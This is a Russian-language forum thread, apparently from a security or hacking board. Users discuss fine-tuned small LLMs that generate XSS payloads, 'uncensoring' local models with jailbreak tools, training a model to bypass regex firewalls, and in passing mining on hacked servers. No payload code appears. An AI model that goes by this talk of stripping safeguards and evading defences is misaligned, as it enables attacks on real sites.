Но спустя больше чем месяц использования могу с уверенностью сказать, что вариативность пайлоадов при таком подходе гораздо лучше и оригинальнее
Большие ЛЛМ имеют встроенные механизмы корректировки ответов, основываясь на корректности контекста и изначального их датасета используемого для обучения
Вроде бы и можно отнести это к плюсам, но в таких задачах как генерация пайлоадов в пентесте это скорее минус
👍2
Ответretro

В целом да, кому то может будет проще использовать большие ЛЛМ как облачные, так и локальные Но спустя больше чем месяц использования могу с уверенностью сказать, что вариативность пайлоадов при таком подходе гораздо…

спорить не буду, а что думаете на счет расцензуривания локальных моделей через условный еретик или g0dmod3?
👍4
Ответretro

Привет, сори что так долго отвечал, загрузил исходники на гитхаб - https://github.com/retrominimal/gptXSS/

Хай! Круто!
Обучу твою модель для обхода регекс фаерволлов. Скину то что получилосьв лс по PGP
Ответthomson

спорить не буду, а что думаете на счет расцензуривания локальных моделей через условный еретик или g0dmod3?

Тема интересная, но самому такие подходы применять не приходилось, поэтому насчет эффективности сказать ничего не могу
👍1
наконец то добралась  до API китайской модели. 20 млн токенов нахаляву.
Агент будет работать с моими локальными файлами через Ollama

Это, конечно не так хардкорно как дообученная модель на минималках.
Но может устроим конкурс? товарищ кодер-минималист - @retro ?

На одних и тех же файлах....
Ответlisa99

наконец то добралась до API китайской модели. 20 млн токенов нахаляву. Агент будет работать с моими локальными файлами через Ollama Это, конечно не так хардкорно как дообученная модель на минималках. Но может устроим…

Звучит интересно)
Какую именно задачу предлагаете?
👍4 🔥1
вот вы считаете что ваш метод (ддобучение в простом варианте), несмотря на то что пришлось вписать в рамки ограниченного железа, может быть где то эффективней "универсальных" облачных моделей.

Я не знаю так ли это. Преодолев мытарства в виде хитрых китайских капч, я получила доступ к серяднячковой модели в неплохом объеме токенов -то есть игрушку (с перспективой заработка, конечно же).
И "конкурс" может быть на равных:

- берем одинаковые файлы  чего-то там.  и смотрим на результаты по детектам уязвимостей - качественные и количественные
👍2
Ответlisa99

вот вы считаете что ваш метод (ддобучение в простом варианте), несмотря на то что пришлось вписать в рамки ограниченного железа, может быть где то эффективней "универсальных" облачных моделей. Я не знаю так ли это…

Ну в общем то я только за, но лучше сделать это чуть позже
Сейчас как раз планирую выпуск статьи на тему небольшого агентского фреймворка на базе таких вот небольших ЛЛМ
Недавно провел один эксперимент и результаты получились крайне интересные
Предлагаю заняться таким конкурсом после выхода статьи, так получится и сам подход и мой личный фреймворк затестить разом)

В самом фреймворке будут работать только микро ЛЛМ, без задействования уже готовых локальных или АПИ моделей
Что скажете?
👍5 ❤️1
ты бы еще старее модель взял
Ответsqlattacker

ты бы еще старее модель взял

насколько я понимаю автора -

раньше на ломанных дедиках майнили, сейчас будут стоять тощие клиенты, автономные приложения - агенты умной облачной ИИ (или тоже локальной, но мощной - типа Qwen 3.6).
по цене токенов и по качеству какая нейросеть хорошая?
Ответlisa99

насколько я понимаю автора - раньше на ломанных дедиках майнили, сейчас будут стоять тощие клиенты, автономные приложения - агенты умной облачной ИИ (или тоже локальной, но мощной - типа Qwen 3.6).

причем тут дедики, я связь потерял
👍4

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.